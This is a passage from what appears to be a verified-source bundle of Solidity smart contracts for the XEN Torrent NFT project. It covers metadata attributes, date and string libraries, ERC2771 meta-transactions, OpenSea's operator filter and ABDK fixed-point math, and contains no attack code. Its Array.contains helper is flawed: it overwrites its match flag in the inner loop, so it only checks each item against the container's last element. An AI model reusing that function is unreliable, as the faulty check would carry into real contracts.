'\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. 